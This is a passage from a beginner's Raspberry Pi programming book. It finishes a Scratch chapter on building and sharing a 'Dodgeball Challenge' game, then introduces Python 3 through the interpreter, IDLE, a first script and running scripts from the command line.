8, “Programming Raspberry Pi with Scratch—Beginnings,” you are ready to take the next step by
developing and sharing a full-fledged Scratch application.
In this chapter, you learn how to create a pretty neat game, if I do say so myself. You’ve even got my
blessing to remix the game and submit it to the Scratch Projects website (if you don’t know what
remixing means, don’t worry—I cover that later on).
Note: Version Control, Revisited
As you learned in Chapter 8, the Scratch Team at the MIT Media Lab has upgraded
their website, promotional materials, and the development environment itself to Scratch
2.0. Although Scratch 2.0 on its surface looks very different from Scratch 1.4, don’t be
daunted. Everything you learned in the previous chapter and everything you learn in this
chapter carries over root and branch from Scratch 1.4 to Scratch 2.0. Besides, this book is
about the Raspi, and Raspi includes Scratch 1.4.
Begin with the End in Mind
Before you begin coding, I think the review of some programming best practices is in order. What
questions do you need answers to before you open up your development tools and start to build an
application?
What exactly is the purpose of the app? For the purposes of this exercise, you want to build
a game in Scratch that tests the player’s reflexes and offers a minute or so of heart-racing fun.
Specifically, the game I designed for this chapter is called Dodgeball Challenge; Figure 9.1
displays the splash screen for the game.
FIGURE 9.1 Dodgeball Challenge splash screen. By the end of this chapter, you’ll know how to
build this game!
From a meta perspective, I also intend for this case study Scratch game to serve as a showpiece for
what Scratch is capable of as a multimedia development environment.
Who is the intended audience for the app? Speaking personally, I have two main audiences in mind:
you, my readers and students, who want to learn how to program in Scratch and anybody with a love
of simple, addictive video games.
I have actually added the Dodgeball Challenge game to the Scratch website. If you like, you can visit
the game page (http://is.gd/RvvRsT) and check out the game for your reference (see Figure 9.2). Isn’t
open source software wonderful?
FIGURE 9.2 You can check out the Dodgeball Challenge game (and associated source code)
from the Scratch Projects website. Note that the game is automatically converted to Scratch 2.0 and
can be opened directly from a (non-Raspberry Pi) web browser.
Before you proceed to the rest of the chapter in which you build the game from Scratch (pun
intended), play the game a few times so that you’re familiar with the gameplay. Although I provide the
game rules on the Scratch website page, let me summarize them for you here for the sake of
completeness:
The goal of Dodgeball Challenge is to survive for 60 seconds.
The game ends if the user’s avatar (specifically, the Scratch Cat as controlled by your
computer mouse) touches a ball or (optionally) the edge of the playfield.
Every 15 seconds a new ball is added to the game, ramping up the complexity and difficulty.
Let’s Build the Game!
Fire up Scratch and save a new .sb project file. Because the Scratch Cat is the default sprite, let’s go
ahead and use it. The first step in this process is to set up the game screens, but before you do that,
let’s set the table with regard to what you’re about to take on.
We have a concrete idea for a fun game, and we’ll build it one piece at a time, starting with the
screens. Iterative software development means that you’ll test the game after every change. This
approach minimizes the possibility of introducing bugs (programming logic flaws) into the released
version of the game.
Take a look at Figure 9.3 so that you can refamiliarize yourself with the Scratch 1.4 user interface.
FIGURE 9.3 The Scratch 1.4 user interface, revisited.
1: Menu and toolbars
2: Stage
3: Blocks palette
4: Script area
5: Sprite area
Task: Setting Up the Game Screens
In Scratch 1.4, the Stage is the graphical area in which all activity takes place. Recall
from the previous chapter that the Stage consists of one or more Backgrounds that function a
lot like PowerPoint slides. Your first development task in building Dodgeball Challenge is
to define those game screens. We’ll worry about wiring them together afterward.
1. In the Sprites area, double-click the Stage to bring it into focus. In the Scripts area,
navigate to the Backgrounds tab. Use the Paint button to create three additional playfield
screens (four in total) as shown in Figure 9.4.
FIGURE 9.4 Dodgeball Challenge Stage backgrounds.
Here’s the breakdown of the purpose of each background:
SplashScreen: This is the introductory screen that advertises the game to players and
provides instructions on starting the game itself.
Playfield: This is the screen that is used during actual gameplay.
GameOverBG: This is the screen the player sees when he loses the game.
GameWonBG: This is the success screen presented to the player who lasts the entire 60
seconds without losing.
For further assistance in creating your game screens, feel free to study the backgrounds
in my published copy of Dodgeball Challenge on the Scratch website at
http://is.gd/RvvRsT. Because my published version uses Scratch 2.0, you can view the
underlying source code and assets directly from your web browser.
Another cool tip I have to share is that you can freely and legally download the
beautiful Press Start 2P 8-bit retro videogame font from the FontSpace website
(http://is.gd/59fciQ).
2. Navigate to the Scripts pane and add the two code blocks shown in Figure 9.5. Ignore the
two “when I receive” stacks for now.
FIGURE 9.5 Code blocks for the game Stage.
1. This block ensures that when the player clicks the Green Flag, the black splash screen is
presented.
2. This block triggers the actual gameplay by switching the background to the white
playfield background and kicking off the StartGame broadcast. Note that I chose the
Spacebar as the method for starting the game, but you can select any key from the
keyboard. Although you can also set up the game to respond to a mouse click, I advise
against that for this broadcast so as not to introduce any potential confusion. For my part,
I tend to use out of the way keystrokes in my games so if the user clicks their mouse or
taps a common key (such as ENTER), the game does not blow up.
As I alluded to in the previous chapter, broadcasts provide a convenient method for communicating
among sprites (or between the Stage and sprites) in a Scratch application. You can use the broadcast
block from the Control palette to define a broadcast; make sure to give each broadcast a meaningful
name.
You can then leverage the when I receive block (again from the Control palette) to receive, or catch,
outbound broadcasts from the same sprite, another sprite, or even the Stage.
Let’s now turn our attention to initial setup of the ScratchCat sprite.
Task: Setting Up the Scratch Cat
1. Double-click the Cat to select the sprite and rename it ScratchCat in the Scripts area.
2. Click the Shrink Sprite button above the Stage and repeatedly click the Scratch Cat sprite
until it reaches your desired size. My thought was to make the sprite large enough to see
its detail, yet small enough to provide for challenging gameplay.
3. Go over the Scripts area and set up the block stacks as shown in Figure 9.6. Yes, I know
you can simply examine my source code from the game copy you downloaded from the
Scratch website. However, if you want to learn to program with Scratch, you need to test
this stuff out yourself!
FIGURE 9.6 Block setup for the ScratchCat sprite and the game timer.
Let me explain the purpose of each block stack:
1: This stack hides both the Scratch Cat as well as the timer that you are about to build
when the player clicks the Green Flag. You don’t need to see these elements until the
player actually starts the gameplay itself (that is to say, when the player taps the
Spacebar).
2: This event listener “unhides” the Scratch Cat and maps the player’s mouse movements to
the Scratch Cat’s location. Note that these actions kick off in response to the StartGame
broadcast that you initiated from the SplashScreen.
3: This block stack sets up the game timer, which is crucial in this game. Although the
Sensing palette contains a couple Timer blocks, those blocks mark the elapsed time since
you last opened the Scratch app. Of course, that’s not what you need here. Therefore, you
can create a new variable named Timer (discussed in the Note, “Creating Variables”)
and simply increment its value every second. Pretty straightforward stuff, wouldn’t you
agree?
Note: Creating Variables
Variables are how you store temporary data in your app. To create the Timer
variable, navigate to the Variables palette and click Create Variable. By default the
new variable will be available to all sprites in the game; that is what we want in this
case. For further details, look at the live source code at the Scratch website:
http://is.gd/RvvRsT.
4: This is an optional block stack I put together to give you the ability to ramp up the
game’s complexity. This block ends the game if the Scratch Cat touches the border of the
screen. I disabled the stack by default because I felt that it made the game overly
difficult. What do you think?
5: When the GameOver message is broadcast, I want the Scratch Cat sprite to disappear.
Setting Up the First Ball
I chose to add most of the gameplay logic in the Scripts area for the Basketball sprite, which is the
first enemy sprite used in the Dodgeball Challenge game. Take a look at the code in Figure 9.7, and
I’ll walk you through it.
FIGURE 9.7 Block setup for the Basketball sprite.
1: Wow, this is one honkin’ block stack! Here’s the deal: When the user presses the Spacebar
and kicks off the StartGame broadcast, you want to perform the following actions:
Show the previously hidden basketball sprite (I prefer doing this to having the ball materialize
out of thin air).
Wait an arbitrary second to give the player their bearings before the game starts.
Loop through “random” movement. If you look within each repeat block, you see that I have the
ball move 15 steps, turn in a random direction between two degree markers, and bounce if the
sprite hits the border of the Stage.
When the timer reaches 15, 30, and 45 seconds, I introduce additional balls. These invocations
are handled, reasonably enough, through broadcasts.
When you reach 60 seconds without a game-ending action, Scratch broadcasts the GameWon
message and congratulates the player on successfully completing the challenge.
You’ll also note that I cranked up the speed and behavior of the basketball at the 15, 30, and 45
second marks by adjusting the step count as well as its directionality.
3: This code stack says that if the ScratchCat sprite makes contact with the basketball sprite,
then the game ends by broadcasting the GameOver message.
2, 4, 5: These code blocks state that the basketball should be hidden when the player clicks the
Green Flag or when the game ends, either successfully or unsuccessfully. The main point here
is to let you know that a sprite can listen to and respond to its own broadcast messages.
Setting Up the Second and Third Balls
The setup for the Baseball and Beachball sprites is much easier than that of the basketball because
we’ve already handled their introduction to the game. Look at the code in Figure 9.8 and see for
yourself:
FIGURE 9.8 Block setup for the Baseball sprite; the Beachball sprite is set up the same way.
1: You want the ball to hide when the player initially runs the game.
2: When it’s time to add the second and third balls, this block performs the same show/wait 1
second/start to move actions. The difference here is that you aren’t linking any additional
behavior to the second and third balls (but go ahead if so inclined; I just thought the game was
difficult enough as it was).
3: I discussed this block already; you want the game to end if the ball and the ScratchCat touch.
4, 5: These blocks instruct the balls to disappear when the game ends.
Debugging and Troubleshooting
With almost any computer program, you need to be on the lookout for so-called bugs. Bugs can take
the form of logic problems, syntax errors, missing references—unfortunately, the list of possible bug
sources is almost limitless.
The good news is that software development industry has established best practice for identifying,
trapping, and resolving software bugs. Even Scratch includes built-in debugging functionality.
To these points, following are some good best practices for writing Scratch games that are as close to
“bug free” as possible.
Run, re-run, and re-re-run your project. This is called iterative application development,
and it is crucial for you to do to ward off any glitches that will anger and frustrate your users.
The Scratch environment makes it really easy to start, stop, and restart your project. Thus, you
should get into the habit of testing your changes as you make them.
You can run individual code stacks. Instead of using the Green Flag to run your project from
start to finish, you can test the behavior of individual code stacks simply by clicking its Hat
block. Try it out—it’s helpful from a troubleshooting and debugging standpoint.
Note: The Origin of the Software Bug
Why are problems with software applications (errors, flaws, or failures that cause
unexpected results) called “bugs”? The term was first used in the context of hardware
engineering by the inventor Thomas Edison, who wrote in an 1878 letter, “It has been just
so in all of my inventions. The first step is an intuition, and comes with a burst, then
difficulties arise—this thing gives out and [it is] then that ‘Bugs’—as such little faults and
difficulties are called—show themselves and months of intense watching, study and labor
are requisite before commercial success or failure is certainly reached.”
You can enable Single Stepping mode. In Scratch, click Edit, Set Single Stepping. You’ll be
presented with a list of speeds, from Turbo on one extreme to Flash blocks (slow) on the other.
Single Stepping gives you the ability to slow down the execution of your Scratch game so
you can better see code stacks and individual blocks firing. This makes it easier to see if, when,
where, and why your program does not behave the way you want it to.
After you choose your Single Stepping mode, click Edit > Start Single Stepping to begin your
debugging session. Be sure to click Edit > Stop Single Stepping when you are finished to return
Scratch to its “factory default” behavior.
Get block-level help. Try right-clicking a block that’s in your project and selecting Help from
the shortcut menu. You will see a nifty Help window that graphically shows you how the
selected block functions in the context of a practical example (see Figure 9.9). I personally
find this flavor of online help to be invaluable because sometimes I discover the perfect block
that I previously overlooked, which solves my current troubleshooting or debugging problem.
FIGURE 9.9 Scratch is a beautifully documented coding environment.
Consider documenting your code. Right-click near a block in your Scripts area and select
Add Comment from the shortcut menu. Documentation is one of the most important best
practices in all of computer programming.
These comments can be intended simply to remind you to fix something a little bit down the
road. You can also use comments to explain your rationale in doing something in your program
(see Figure 9.10); this can be helpful in a year or so when you re-open the project and think to
yourself, “What in the world was I thinking when I wrote that?!”
FIGURE 9.10 Commenting your code is a programming best practice.
Finally, adding comments to your code helps make your code more understandable to fellow
Scratchers who download and inspect your project. Note that you can link a comment to a block
by dragging the comment in the proximity of said block. The little disclosure arrow enables you
to shrink or expand any comment.
Uploading Your Project
Now that you’ve completed your project, it is time to share your work with the Scratch community.
Why do this? Here are a few good reasons:
You’re proud of your work. You just invested time and effort in creating your Scratch game.
Thus, you want to get the application in front of as many sets of eyeballs as possible. This is a
natural and honorable motive of any self-respecting software developer.
Share and share alike. The spirit of open source software is to share your work with other
developers to solicit their feedback. By contrast, you are expected to offer constructive
criticism of other peoples’ Scratch projects. That’s how we all learn!
Task: Share Your Scratch Project
Sharing your Scratch project with other Scratch users around the world is the best way
to get your game (and underlying code) in front of as many eyes as possible. You’ll be able
to garner feedback from other Scratchers, and the sense of accomplishment you’ll feel when
other users create remixes of your work is indescribable.
1. With your project open in Scratch, click Share, Share This Project Online or click the
Share This Project button on the main toolbar. The interface is shown in Figure 9.11.
FIGURE 9.11 You can upload your Scratch project to the Projects website directly from
within the Scratch application.
2. Fill in the fields in the Upload to Scratch Server (scratch.mit.edu) dialog box as
completely as possible. Let me help you understand what’s involved:
Your Scratch website login name and Password: As with most things Scratch-related,
you must have a free Scratch account to upload a project. Click Create account to, well,
create a new user account.
Project name and Project notes: These fields are automatically populated based on the
.sb project file name and any project notes you added. I highly recommend you add
project notes (welcome message, instructions, and so on) to help people understand and
use your Scratch app more efficiently and effectively. You can add your project notes
either in this dialog box or by clicking File, Project Notes in Scratch.
Tags; More tags: Tags are keywords that make it easier for Scratchers to find projects
on the Scratch website. You can select any of the six prebuilt tags and/or define your own.
Compress sounds and images: This option is a good idea because it makes your Scratch
program smaller. A smaller .sb file means that the app runs faster in the web browser and
takes less time for your users to download from the Scratch website.
As you saw in Figure 9.2, the MIT Media Lab developers give you a dedicated web page for each
app you upload. Be sure to check out the page and perform the following actions on a regular basis:
Read comments left by other Scratchers and take their criticism constructively.
Proofread and potentially edit your project notes. You can do this directly from within the web
browser, provided you are logged into the site with your Scratch account.
Consider adding additional tags as they occur to you. There is no upper limit on how many tags
a Scratch project can have associated with it. To that point, other Scratchers can tag your
project as well.
Remixing
Sometimes you’ll come across a Scratch project that is so good it leads you to think, “I’ll bet I can
make this good app great!” This notion is perfectly legal as well as in keeping with the open source
community spirit shared by Scratch and other public domain frameworks.
In Scratch nomenclature, a remix is a Scratch project that is based on somebody else’s Scratch
project. When you publish a remix, a link to your remix is accessible on the original app’s home
page. By contrast, viewers of your app can click a link that takes them back to the original app’s home
page at scratch.mit.edu.
Remember that the name of this program, Scratch, derives from the disc jockey (DJ) term of moving
vinyl records back and forth to create rhythmic sounds. Similarly the term remix refers to the method
by which musical artists re-record their songs by using the same melody but changing the style.
Note: About Licenses...
Scratch apps fall under not the traditional GPL license like Raspberry Pi does, but
instead under the related Creative Commons Attribution-ShareAlike 2.0 license. You can
read the user-friendly license details at the Creative Commons website at
http://is.gd/FAsiS7).
Task: Create a Remix
1. Download another Scratcher’s project from the Scratch Projects website.
2. Modify the project as needed.
3. Upload the project using the method described earlier in the task, “Share Your Scratch
Project.” The bi-directional linking and notifications between the original author’s
project and your remixed project happens automatically, or as my old friend Jeff Kane
used to say, “automagically.”
Chapter 10. Programming Raspberry Pi with Python—Beginnings
If you emerged from Chapters 7 and 8 relatively unscathed, you are ready to embark on a more
comprehensive programming adventure.
Scratch is a lot of fun to program, but the environment hides all of the programming complexity; this is
by design, as previously discussed. Many educators consider Python to be an ideal first “true”
programming language for the following reasons:
Python’s syntax and data typing are relatively intuitive and fairly forgiving of rookie mistakes.
Python is heavily documented; you can find easy-to-follow tutorials just about anywhere.
Python’s interactive interpreter makes learning new stuff fast and fun.
Python offers an amazing number of importable code libraries that give beginning programmers
tools to build any kind of application.
Python is called a “general-purpose, high-level programming language” whose overarching design
principle is code readability. In fact, you would be well-advised to read what Python fans consider to
be their fundamental, guiding principles: the Zen of Python (http://is.gd/sXV6IU). Let me share with
you my favorite entries from the Zen document:
Explicit is better than implicit.
Simple is better than complex.
Readability counts.
For three simple sentences, that’s quite a bit of wisdom, right? As a programmer, you are much better
off writing code that is as straightforward as possible and documented in such a way that any other
Python programmer can read your code and instantly understand how your program works. To be
sure, if you’ve been practicing with Scratch, you already understand how important community
support is when you’re developing software projects.
Python’s focus on clarity and readability probably weighed heavily into the Raspberry Pi
Foundation’s decision to build the Raspberry Pi development platform around Python. If you ever
saw C or C++ code, you will instantly appreciate how much more approachable Python is on almost
every level.
Note: Where It Began
Just a tad bit of history before we dive in: The Python programming language was
invented by the Dutch programmer Guido van Rossum in the late 1980s. Rossum needed a
fast, intuitive scripting language to help him automate administrative tasks, and he wasn’t
getting very far with the tools he had in front of him at the time. Thus, Guido adapted the
ABC programming language that was popular in the Netherlands at that time to a new
language that focused on simplicity and readability without sacrificing power—enter
Python!
What’s so cool about Python is its flexibility—some call Python a scripting language because you can
write and test code quickly without the need for binary compilation. On the other hand, because
Python has grown into a robust language that supports enterprise-level concepts such as object
orientation, the term high-level programming language seems more appropriate for Python.
The way I want to teach you Python in this chapter and the next one (itself a hugely daunting task), is
to jump right in and get your hands dirty with the environment. At the end of this chapter I give you
some hand-selected online and print resources with which you can take the next steps in your
development as a Python programmer.
To that point, however, I strongly encourage you to pick up Sams Teach Yourself Python
Programming for Raspberry Pi, written by my Pearson colleagues Richard Blum and Christine
Bresnahan. Their book touches briefly on the material we deep-dive into (the innards of the Pi), while
my book does the same thing with regard to Python programming. I think that Richard and Christine’s
book and my book complement each other quite nicely, thank you very much!
Let’s get to work.
Checking Out the Python Environment
Boot up your Pi and fire up a Terminal prompt. It doesn’t matter whether you are in LXDE or not at
this point, although you’ll need LXDE in time when we discuss IDLE.
As it happens, there are two versions of Python currently in use today, and both of them are included
in the Raspbian Linux distribution. In this book I choose to stick with Python 3, the current version,
because it is a nice improvement over Python 2 (for those interested in an exhaustive comparison,
visit the Python website at http://is.gd/kYsc97).
Try out the following commands, pressing Enter in between:
python -V
python3 -V
What you just did was to check the currently installed versions of Python 2 (the executable program
file is python) and Python 3 (executable program file name of python3). As with all things in Linux,
case is sensitive, so you need to supply the -V parameter and not -v to see the Python version.
Later in the book, you’ll find a lot of the code you need to undertake certain Raspberry Pi projects
was written in Python 2. Don’t be alarmed! For our purposes, the differences between Python 3 and
Python 2 are under the hood and everything you learn in this chapter and the next one is directly
applicable to the Python 2 work you’ll do later on.
Now pop into LXDE and look at the two icons labeled IDLE and IDLE 3. These are shortcuts tha
open the Integrated DeveLopment Environment, or IDLE (pronounced eye-duhl), for Python 2 and
Python 3, respectively. Try double-clicking IDLE 3; the interface can be found in Figure 10.1.
FIGURE 10.1 The IDLE development environment for Python 3.
What’s cool about IDLE, also called the Python Shell, is that it is itself a Python application that
leveraged the Tkinter (pronounced tee kay inter) GUI toolkit. Tkinter and packages like it enable you
to build graphical Python applications that leverage windows, colors, icons, buttons, and mouse
navigation. That said, we’re focusing on console (command-line) applications in this book because
Python graphical programming is an advanced topic and warrants its own chapter if not its own book.
An Integrated Development Environment, or IDE, is useful to a programmer because most IDEs offer
time-shaving functionality such as the following:
Interactive help with programming language syntax
The ability to step into programs and stop/restart at predefined points
Detailed insight into design-time and run-time errors
IDLE offers all of this and more. It’s definitely not the most robust (or even stable) IDE, but I use it
here because it comes standard with Python, and it’s already loaded in Raspbian.
Note: Python IDE Alternatives
If you discover that you love Python and want to try out alternatives to IDLE, be sure to
check out some of the open source and commercial code editors and full-fledged IDEs that
are out there. Some notable examples include Eclipse IDE (http://is.gd/fGo9FH) with the
PyDev extension (http://is.gd/yDXZ8m), Komodo IDE (http://is.gd/bIPFT9), and WingIDE
(http://is.gd/jyg8ig).
Enough about IDLE. The whole of Chapter 11, “Programming Raspberry Pi with Python—Next
Steps,” is dedicated to building Python programs using IDLE. For the remainder of this chapter, we’ll
stay in the Terminal environment to interact with Python 3.
Interacting with the Python 3 Interpreter
Open up a Terminal session on your Pi and try out the following procedure. Be sure to press Enter
after issuing each command.
python3
print("Hello world!")
In the first line of code, you invoked the Python 3 interpreter. This means that until you either close
the Terminal window or issue the exit() command, everything you type is sent directly to Python on
your Pi.
In other words, when you send a Python statement to the interpreter, Python parses, or interprets, that
line of code, performs the instruction(s) contained in the code, and presents the results as appropriate
on the screen.
Thus, Python is called an interpreted programming language because it takes your plaintext code input
and processes it directly into machine language. (Technically, Python busts the plaintext code into an
intermediate state called byte code, but we don’t need to get too picky about it at this point.)
Other popular interpreted programming languages include Java, JavaScript, PHP, and Ruby.
However, programming with these languages on the Raspberry Pi is likely to be an exercise in futility
because (a) you have to install quite a bit of extra software to get those environments functional; and
(b) as you know by now, the Raspberry Pi is not exactly a processing workhorse. Java in particular is
known for the impact it can have on resource-constrained computer systems. Therefore, the
Foundation’s decision to standardize on Python is very wise because Python is a low-overhead,
flexible, and powerful programming environment.
By contrast, compiled programming languages such as C and Microsoft .NET must be converted into
executable binary machine language prior to their being run. Therefore, developing compiled-
language projects takes much longer than creating interpreted-language ones because the compilation
process can sometimes be tedious and time-intensive.
As I said earlier in this chapter, interpreted programming languages are oftentimes called scripting
languages because of their agility and speed at which they can go from design time to run time.
Exiting the Interpreter
You can tell at a glance that you are inside the Python interactive interpreter because the command
prompt displays as three right angle brackets (>>>). If you need to exit the interpreter to return to the
command prompt, issue the following command:
exit()
To return to the interpreter, you know the drill: Type python3 and press Enter.
Getting Online Help
The help system that is built into the Python interpreter is, well, passable, although in my opinion you
can’t beat the Python Documentation website (http://is.gd/SGejBj; keep it bookmarked!).
Nevertheless, to access the online help, issue the following command from within the Python
interactive interpreter:
help()
To get a list of help topics, type topics. If you want a list of Python keywords, type keywords (see
Figure 10.2).
FIGURE 10.2 The Python interpreter online help is decent enough.
You can get help regarding a particular keyword by typing that keyword (try print, for instance) from
within the online help system. Alternatively, you can jump directly to a specific help page by issuing
help(‘print’) from outside the help system but inside the Python interpreter.
Either way, after you are inside a help page and are ready to exit, type q (no, this is not intuitive). To
add insult to injury, you must remember to press Ctrl+D to exit the online help system and return to
the interpreter. Now who said that Python was intuitive again?
Writing Your First Python Program
The traditional first example when a student learns a new programming language is to have the
program print “Hello World” on the screen. The remainder of this chapter is in keeping with that
tradition.
From the Python interactive interpreter, issue the following command:
print("Hello,World!")
Congratulations on creating your first Python program! What you did in a single line of code is to
instruct Python to output the string “Hello,World!” to the screen. Specifically, print is what’s called a
function—a function is a named object that performs some action when the function is invoked.
Functions typically take one or more input parameters; these are fed to the function inside of
parenthesis. Hence, in our Hello World example, Python fed our “Hello, World!” string as an input
parameter to the print function, which in turn was written to echo its parameter to whatever output you
specify (the screen, also called standard output or stdout, is used in the absence of a specific output
value).
Issuing Python statements from the interactive interpreter is all well and good, but it is not sustainable
for anything outside of the smallest of tasks and for testing/diagnostic purposes. To preserve your
hard development work, you need to save your Python source code in a script file.
Historically, Python script files use the file extension .py. Under the hood, however, these are
plaintext files that are creatable and readable in any text editor. Today we’ll use (you guessed
it)...nano.
Task: Creating Your First Python Script
1. From a Terminal session, ensure that your present working directory is your home
directory:
cd ~
2. Create a new, blank text file in your home directory using nano as your editor:
nano firstscript.py
3. Add the following code (which you can also see in Figure 10.3):
Click here to view code image
1: #!/usr/bin/env python
2: fn = input("What is your first name? ")
3: print("Hi there," , fn, "\n”)
FIGURE 10.3 Your first Python script.
Let’s cover what each line in the script means:
1: This is called the shebang line, and it simply instructs Linux as to where to find the
Python executable program file. This is useful so you can invoke the Python interpreter
from whatever present working directory you may be in at a given time.
2: This creates a variable named fn that stores the user’s response to the question string
“What is your first name?” A variable is simply a temporary, in-memory placeholder
for data. Because Python is a dynamically typed language, you don’t have to specify the
data type for our new variable; the interpreter sees that you are obtaining string data and
formats the variable accordingly.
The input function is used to solicit feedback from the user. The input parameter is
simply the prompt string. Notice that I added an extra space after the question mark and
before the closing quotes—this is to make the question and the user’s response more
legible.
3: This command invokes the print function to present a dynamic string to the user. Use the
comma inside the print function arguments to concatenate, or combine, multiple strings.
Note that in this example the line concatenates three discrete elements:
The static string “Hi there,”
The current value of the fn variable
A newline character
Escape sequences are used in Python to send internal commands to the Python
interpreter. The \n escape character (all escape characters begin with the backslash, by the
way) tells Python to insert a new line at that point.
4. In nano, press Ctrl+X, Y, and Enter to save your work and exit the editor. Now it’s time
to run the new script.
Note: The Most Common nano Keyboard Shortcuts
As you gain more experience with Linux and its myriad text editors, you may (like
myself) choose nano as your preferred tool. To that end, you should memorize the following
keyboard shortcuts: Ctrl+O (the letter, not zero) to save. Ctrl+V to jump to the next page.
Ctrl+Y to return to the previous page. Ctrl+W to perform a keyword search. Finally, there
is Ctrl+X to exit.
Running Python Scripts
In Raspbian, the path to the Python interpreter is included in the OS program search path. Therefore,
you can invoke Python 3 from wherever you are in the command-line environment. However, you do
need to be aware of where your target script is located.
Task: Running Python Scripts (command line)
When we’re experimenting with the Raspberry Pi in projects that are presented later in
the book, you’ll be running several scripts. Therefore, learning how to execute Python
scripts from the command line is a useful skill for any tech enthusiast, much less a student
of the Raspberry Pi. Let’s begin!
1. Issue pwd to check your present working directory. If you aren’t in your home folder,
issue cd ~.
2. To run a .py Python script that exists in the current directory (like your new script should
be), run the following command:
python3 firstscript.py
3. How did your program run—pretty well? Good. Let’s now change to a different
directory:
cd /tmp
4. Try running the command in step 2 again. Were you successful? No? Now try the
following:
Click here to view code image
python3 /home/pi/firstscript.py
Cool. At this point you should have a pretty good feel for how to run Python scripts from the
command line.
Task: Running Python Scripts (IDLE)
I know that I said earlier that we focus on the IDLE environment in the next chapter,
however, as long as I’m already on the subject it makes sense that I cover running scripts in
IDLE now.
1. From the Raspbian LXDE desktop, double-click IDLE3 to open the Python 3 editor.
Note: Version Control, Re-Revisited
Remember that I’m using Python 3 in this book, so make sure you open IDLE 3 and
not IDLE. You’ll immediately know you’ve invoked the incorrect Python version
because you’ll see errors related to the print function, which underwent a change from
a simple statement to a formal function between Python 2 and Python 3.
2. In the Python Shell window, click File, Open.
3. Use the controls in the Open dialog box to select the target .py script file. I show you this
interface, which should be immediately understandable to OS X and Windows users, in
Figure 10.4.
FIGURE 10.4 IDLE behaves like most GUI editor programs.
4. You’ll see your script show up in a separate IDLE editor window. To actually run the
script, simply click Run, Run Module or press F5.
Broadening Your Python Horizons
Many programmers, myself included, learn a great deal concerning best and worst practices by
studying the code of other developers. To that end, I want to share with you some rich sources of
example Python scripts you should download to your Pi, run, and analyze.
For instance, here are links to some excellent Python sample code repositories that ought to give you
plenty of experience and fun:
Code Like a Pythonista: http://is.gd/fE2Owx
LearnPython.org: http://is.gd/BtqwhA
Dive into Python 3: http://is.gd/3tP9ZL
I want to give a shout-out to Professor Anne Dawson of Coquitlam College in Canada: She put
together an excellent list of Python 3 example programs at http://is.gd/Ipv80w. You’ll note that the
file is a plaintext text file, which means you can easily copy and paste her code snippets into your
own environment without carrying any extra HTML formatting baggage.
There are, however, a number of Python community websites that are static, and every budding
Python programmer should have them bookmarked and review them frequently. Here are my own
hand-picked selections:
http://is.gd/Pf9vb4: CPython is the standard Python distribution.
http://is.gd/SGejBj: Python 3 official documentation.
http://is.gd/EWR7d3: Python Enhancement Proposal (PEP) Index—PEPs are documents that
define the formal Python specifications and best practices.
http://is.gd/sXV6IU: PEP 20 is called “The Zen of Python” and is required reading for any
aspiring Python programmer.
http://is.gd/nCexcw: PEP 8 is titled “Style Guide for Python Code.” You’ll find this reference
to be increasingly useful as you gain experience with Python programming.
http://is.gd/nNYCUy: Learning Python by Rick Lutz is, in my humble opinion, the best Python
beginner’s book on the market.
So what do you think of Python as compared to Scratch? Are you able to see how Scratch projects are
directly analogous to Python programs, albeit with greater simplicity?
At base, all computer programs behave the same way as computers: they accept instructions as input,
perform some processing on that data, and then produce output to the user.
Moreover, all computer languages, no matter how rudimentary or cryptic their syntax rules, do the
same kinds of stuff: the concepts of variables, procedures, loops, debugging, interpretation,
compiling, and execution are the same no matter what specific language you feel most comfortable
with.
In the next chapter, I help you broaden and deepen your understanding of Python even more. I know
I’ve repeated the point ad nauseam, but you’ll thank me for focusing on Python so much here once you
start building Raspberry Pi projects.
Chapter 11. Programming Raspberry Pi with Python—Next Steps
By the time you’ve had the chance to study the material in Chapter 10, “Programming Raspberry Pi
with Python—Beginnings,” you should have (at the least) the following Python skills under your belt:
You understand a bit of the purpose behind the Python programming language and why the
Raspberry Pi Foundation wanted it to serve as the fundamental development environment on
the Pi.
You know how to get in and out of the Python 3 interpreter and get online help for command
syntax.
You know how to run .py Python script files.
My learning goals for you in this chapter are as follows:
To understand how to use the IDLE environment
To have a basic understanding of Python command syntax
To know where to go to learn Python formally, from “soup to nuts”
To understand what modules are and how to import them into Python 3
The skills you pick up in this chapter are especially important because when you start building
Raspberry Pi projects, you need to understand how to manage Python modules and scripts as well as
understand how the code flow works.
I finish this chapter by giving you some pointers for additional resources you can turn to if you’re
inspired to deep-dive into Python. Let’s get to work!
Getting Comfortable with IDLE
Fire up Raspbian and double-click the IDLE3 icon on the LXDE desktop. You’ll see the Python Shell
open onscreen, as shown in Figure 11.1. The Python Shell is essentially the Python 3 interpreter with
a bunch of integrated development environment (IDE) stuff like debugging tools built-in. Interestingly,
IDLE is itself a Python application!
FIGURE 11.1 IDLE, also called the Python Shell. You can open the IDLE Preferences dialog by
clicking Options, Configure IDLE.
Note: Why Python 2?
You’ve doubtless noticed that Raspbian includes both Python 2 and Python 3 and that a
separate version of IDLE exists for each language version. In my opinion, Python 2 is
included in Raspbian primarily for backward compatibility with older Python scripts. In
fact, the sample games that are included in the Raspbian image are themselves Python 2
scripts.
Let me briefly explain the purpose of each menu in the IDLE Python Shell:
File: Used to create and manage .py Python script files.
Edit: Enables you perform typical word-processing functions (Python scripts are plain text
files, after all).
Shell: Allows you to restart the Python Shell if something goes wrong (akin to rebooting a
frozen computer).
Debug: Enables you access tools for troubleshooting your Python scripts.
Options: Enables you customize the IDLE environment to suit your tastes.
Windows: Lets you switch among several open script files and the Python Shell.
Help: Gives you access to the IDLE and Python documentation.
We’re going to get right into Python development, here. Try issuing the following statements directly
into IDLE at the chevron (>>>) prompt. Remember to press Enter after typing each statement:
25*5
The asterisk represents multiplication. Try division (/), addition (+), and subtraction (-) as well.
len("python")
The len function reports on how many characters a given string consists of.
Click here to view code image
x = input("What is your name? ")
You are storing user input in a new variable named x. I added a space intentionally after the question
mark to put some space between the prompt and the user response.
x
You can persist the value of a variable in the current Python Shell session. If you restart the shell, then
the variable is destroyed.
Click here to view code image
print("I’m gonna add a new line underneath this text. \n")
This command uses the newline escape character (\n) to add an extra line—this makes your programs
easier to read.
#This is a comment
Single-line comments are preceded with the octothorpe or pound sign (#) character.
Click here to view code image
mylist = ["item one" , 2, 3.14]
Lists are a great way to pack multiple pieces of data into a single variable.
print(mylist)
print(mylist)
You can retrieve individual items from a list as well.
type(x)
The type function tells you what data type is associated with a particular variable.
In preparation for your second real Python script (you wrote your first one in Chapter 10), let’s create
a new file and save it to your home directory.
Task: Creating a New Python Script File
You already know that “the journey of a thousand miles starts with the first step.”
Likewise, before you can author the code in a Python script file, you need to create said
script file in the first place. Let’s get this party started!
1. In Python Shell, click File, New Window.
2. In the Untitled window that appears, click File, Save.
